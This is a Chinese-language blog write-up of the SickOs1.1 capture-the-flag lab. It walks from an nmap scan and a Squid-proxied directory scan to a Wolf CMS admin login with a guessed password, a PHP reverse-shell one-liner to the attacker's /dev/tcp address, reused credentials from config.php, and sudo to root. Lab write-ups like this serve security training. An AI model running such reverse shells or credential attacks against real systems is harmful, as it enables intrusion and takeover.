SickOs1.1

一.信息收集

 Nmap扫描结果:

  • 22      很少成为攻击的点
  • 3128  Squid http proxy 为一个代理服务。
  • 8080  端口为关闭状态 其中有代理 
  • linux系统

二.渗透实施

查看3128

  • 出现webmaster
  • 版本信息squid/3.1.19,与nmap扫描结果一致

打开源代码查看:

  • 邮箱的地址链接,使用url编码
  • 缓存错误信息,有错误的url,事件,请求的相关信息

webmaster在这个地方的作用是,点击之后可以调用本地的邮件处理程序给管理员发一个信息

 截止到这里,页面再无其他信息,最有价值的信息就是版本信息:squid/3.1.19

假设我们并不知道squid是什么,百度搜索:

百度搜索结果 squid为代理服务器

 nmap扫描结果状态为关闭 但仍然提到proxy

那么一定是3128这个端口代理了什么东西

现在我们有两个思路:

  1. 代理服务器,该如何使用
  2. 3128虽然首页报错未发现有价值信息,但会不会有子目录。

对3128进行目录爆破

dirb及gobuster都是没有结果的,由此证明我们的目录爆破用这两种方式是不可行的,可能是因为代理服务器问题,也可能靶机有waf。

我们尝试是用3128代理能不能继续进行,

sudo dirb http:/192.168.88.152 -p http://192.168.88.152:3128

爆破成功。

先对robots进行尝试,robots暴露的信息更加简单直接。对我们后续的操作会更有价值

 挂代理访问192.168.88.152

访问成功

源码中也不存在有价值信息。

robots及robots.txt内容是一样的。都暴露出wolfcms,尝试访问。

到现在这一步,如果不熟悉wolfcms,可以另起一个界面去了解一下wolfcms。但这也不妨碍我们翻一翻这个网站

在渗透测试中发现一个cms,我们首先应该想到的是,管理路径在哪,能不能登录进去。

 在About us中,

 

并未发现有价值信息。

继续查看Articles

这个更像是一个新的网站,用新的内容管理系统架设完了之后的,无意义的填充内容。

Posted by Administrator ,通过管理员来发送的。这个1有可能整个内容管理系统就是administrator作为默认文章的账号,也可能是注册账号就是administrator,总之这是个好消息,他能够把administrator这个高级权限的用户展现出来 ,就可以试图找到他的身份及凭据以进一步完成渗透测试。

继续翻找

在主页面中,我们找到了他收藏的网站,就是wolfcms的主界面。但现在我们现在使用代理访问,是看不了的,只指向了渗透测试靶机的web上。

现在继续观察,

我们发现文章发布的时间是2015年,证明系统版本是比较旧的。那么我们就可以去找他的漏洞,因为比较旧,那么存在漏洞的可能是就越大。

刚才说过,我们最想找到的就是管理员的路径在哪,两种方法

  1. 纯猜
  2. 去搜索引擎寻找

显然第二种方法要更好一点,尝试搜索

 尝试使用搜索结果中的路径

成功!!找到登录页面

现在我们要找wolf cms 的登录账号密码

可以使用暴力破解,可以像刚刚那样去搜索是否存在默认账号密码

 搜索结果中存在一个:username admin  password 12333b81bk

密码太过于个性化,基本排除默认账号密码,不具备通用性

我们又找到了wolf cms在github上的源码

 源码并没有说wolf cms的账号密码为admin,但源码中多次提到admin

我们尝试用admin尝试一下弱密码

admin admin123 adminpassword

admin password 尝试失败,但wolf cms 并没有给任何回显

继续尝试

admin admin尝试成功!!

这个尝试并不偶然,这是一个新建的网站,他的内容管理并没有进行部署,所以这种情况下,很容易产生弱密码

 拿到账号密码并不是偶然,也不是多幸运。如果你作为一个网站的开发者,你也会有这种思维及设置。

进入之后,对于我们渗透测试来说算是一大步,首先浏览一下整个页面首先看Home Page

里面就存在我们感兴趣的东西,可以执行php,我们完全可以将代码换成我们自己构造的去执行

 

 Articles同理,依旧可以构造我们自己的php

返回首页

看到Snippets,一般来说指的是一个代码段或者是一个可以复用的代码。

 第三个标签

Layouts 布局,这里面是对网站的布局有一些安排

里面是html的一些脚本 ,但这里面我们仍然可以看到夹杂着一些php 的代码

Files中存在的信息就更有价值了,Pemissions可以修改权限

 

右侧还存在Upload file

截止到现在,靶机暴露给我们的攻击面是很多的

  1. 能够替换php代码
  2. 能够上传文件
  3. 能够更改文件权限
  4. 存在复用的头文件脚文件

这几个点在渗透测试的过程中,只要暴露出一个就会让我们觉得非常有希望,现在暴露出这么多,我们的突破点也会更容易找到。

开始尝试利用

首先尝试替换php代码的方式

可以直接在搜索引擎找一个简单的php一句话木马

<?php exec("/bin/bash -c"bash -i >& /dev/tcp/192.168.88.142/443 0>&1"):

 ip换成我们kali 的ip,端口1234应该也可以,但443的可能性会更大,这种情况下,一个端口不行就换另一个端口,因为现在这台靶机对我们来说是一个黑盒,我们并不清楚他的端口做了哪些限制,但是443显然比1234可能性会更大。

将php一句话木马随便放在一个位置保存

在正式执行这个页面之前,我们要在kali端建立端口监听。

 端口监听后,我们返回web端研究怎么运行Articles。

 在尝试的过程中,点击了Articles,kali收到了反弹shell

查看当前目录下的文件

vi查看config.php

 config.php的文件中,我们发现root john@123

账号密码除了数据库之外,有没有可能是ssh的密码,nmap扫描结果我们发现了三个端口22,8080,3128

8080是一个关闭端口,3128是代理服务器流量转发的端口。

还有一个22端口,显然22是我们的重要目标,因为他是管理员在管理系统时,登录靶机的一个凭据,所以很可能这个密码就是ssh的密码,但账号我们并不清晰,如果是root,那么我们就可以拿到root权限,如果不是,要怎么去研究其他的,如果有用户,那么他一定在passwd里面,那现在,我们去找一下passwd里面的信息。

root账户,如果刚刚的账号密码匹配,那我们可以直接拿到root权限

daemon,一般来说是驻留程序用的,供程序使用,很少管理员用来做人机交互,按照这个原则我们把其他账户做一个判断。

www-date有时是人机交互,有时是系统使用的。

backup,是人来做backup还是机器做backup,两种情况都存在,信息显示也给分配了bash环境,一会儿可以尝试一下

whoopsie,没有给shell环境,没有价值

sickOs这个给了bash环境,而且很像一个用户

查看一下unme -a

 回显结果显示,这台机器的名字就叫sickOs,那sickOs就是我们的重点关注对象

使用之前我们得到的数据库密码,以sickos作为账号尝试登录

尝试成功,进一步提权

 权限列出的是全部的权限

当sudo -l去列权限的时候,如果看到三个all ,那么这台机器基本上已经被拿下了

 既然我们现在有了全部的权限,现在用sudo新起一个bash

切换到root目录查看

成功!!!

三.总结

nmap扫描,主机发现之后。nmap的tcp,udp分别扫描,三个端口,8080端口存疑没有开启,3128是一个squid代理服务器,22是ssh端口

8080是不能访问的,web浏览器没有得到任何相应

3128提示了一个报错信息,无法获得其他信息,通过目录爆破也并未发现有价值信息。

但3128web浏览器的页面上,有一个squid 版本信息。搜索引擎了解后,我们知道他是一个代理服务器,我们在nmap的扫描结果中也多次提示3128在这个端口中就是运行着squid代理服务器的应用,那我们把 3128作为代理,使用dirb代理扫描,暴露出来了新的目录,其中就包括robot.txt和其他有价值的目录,在浏览器中通过把3128设置为代理访问到了靶机的80端口,看到了wolfcms内容管理系统,简单浏览之后,想找wolfcms管理员的登录界面,通过搜索引擎加上url目录判断,找到了wolf cms admin的登录界面,在这个登录页面,我们通过搜索引擎的搜索和我们简单的弱密码尝试,获得了管理员的登录权限,在登录权限,发现很多有价值的信息,比如有多个页面都可以进行构造php一句话木马代码执行,可以上传文件,可以修改文件权限,我们通过php一句话木马构建bash交互,在kali端使用nc监听,拿到了反弹shell,获得了初始权限。在初始权限中,我们能做的操作比较有限,但看到了靶机存在那些用户,找到了初始权限中存在的config配置文件,配置文件中存在数据库的账户密码,其中一个用户与靶机名字相同,通过我们获得的凭据碰撞,我们发现sickos这个用户与配置文件中的凭据是相吻合的,于是通过shh连接进入了进一步高权限sickos这个用户,拿到sickos权限之后,使用sudo列权限的时候,发现sudo -l可以执行全部操作也就是三个all权限。使用sudo /bin/bash/启动新的bash进程拿到root权限。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值